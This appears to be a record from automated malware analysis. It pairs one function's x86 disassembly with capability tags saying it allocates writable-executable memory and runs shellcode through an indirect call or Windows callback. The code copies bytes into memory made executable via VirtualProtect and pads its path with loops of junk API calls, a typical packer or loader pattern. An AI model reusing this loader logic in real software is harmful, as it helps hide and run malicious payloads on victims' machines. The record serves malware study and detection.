Function at 0x403ade
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x803ec7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x24d4
call fcn.0040bf10
push ebx
push esi
xor esi, esi
cmp dword [0x8b7588], 0x5b1
push edi
jne 0x403bad
push esi
lea eax, [esp + 0xe4]
push eax
push esi
push 0x402f48
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
lea eax, [esp + 0x24]
call fcn.00403e6b
push esi
mov dword [esp + 0x24f0], esi
call fcn.00404a00
pop ecx
call fcn.0040499e
push 0x403028
lea ecx, [esp + 0x14]
call fcn.004036a0
lea ecx, [esp + 0x10]
call fcn.004036bc
lea ecx, [esp + 0x10]
call fcn.00403702
lea ecx, [esp + 0x10]
call fcn.0040371b
push esi
push esi
call fcn.00404d1d
push esi
call fcn.00404cee
add esp, 0xc
push esi
call fcn.00404cd7
pop ecx
push esi
call fcn.00404e96
pop ecx
push esi
call fcn.00404cd7
pop ecx
call fcn.00404db0
add dword [0x8b7588], 0x1134b
push dword [0x8b7588]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x20]
push ecx
push 0x40
push dword [0x8b7588]
mov dword [0x8b64dc], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
xor edi, edi
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x206d47
jg 0x403c05
inc edi
cmp edi, 0x4f6a4
jl 0x403be5
xor edi, edi
cmp dword [0x8b7588], esi
jbe 0x403c64
cmp dword [0x8b7588], 0xa8
mov eax, dword [0x8b758c]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x8b64dc]
mov byte [ecx + edi], al
jne 0x403c5b
push 0x403038
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
push 0x4030c8
lea eax, [esp + 0xe4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
inc edi
cmp edi, dword [0x8b7588]
jb 0x403c0f
xor edi, edi
mov eax, dword [0x8b7588]
add eax, edi
cmp eax, 0xe
jne 0x403cd1
push esi
lea eax, [esp + 0xe4]
push eax
push esi
push 0x403124
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
lea eax, [esp + 0x8e4]
push eax
push esi
push 0x403140
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push 0x4031b8
push 0x40309c
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push esi
push esi
lea eax, [esp + 0x10e8]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
inc edi
cmp edi, 0x39621
jl 0x403c66
call fcn.004039c6
xor edi, edi
push esi
call ebx
cmp edi, 0x26
jne 0x403cee
call fcn.00403ac4
inc edi
cmp edi, 0x6753f
jl 0x403ce1
push 0x7b
pop edi
cmp dword [0x8b7588], 0x86
jne 0x403d5f
push esi
push esi
push esi
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
push 0x403290
push 0x4032c8
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push esi
push esi
push esi
push 0x403328
push 0x403344
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push esi
lea eax, [esp + 0x18e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push esi
lea eax, [esp + 0x1ce4]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
dec edi
jne 0x403cfa
push 0x403358
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [esp + 0x24e4]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret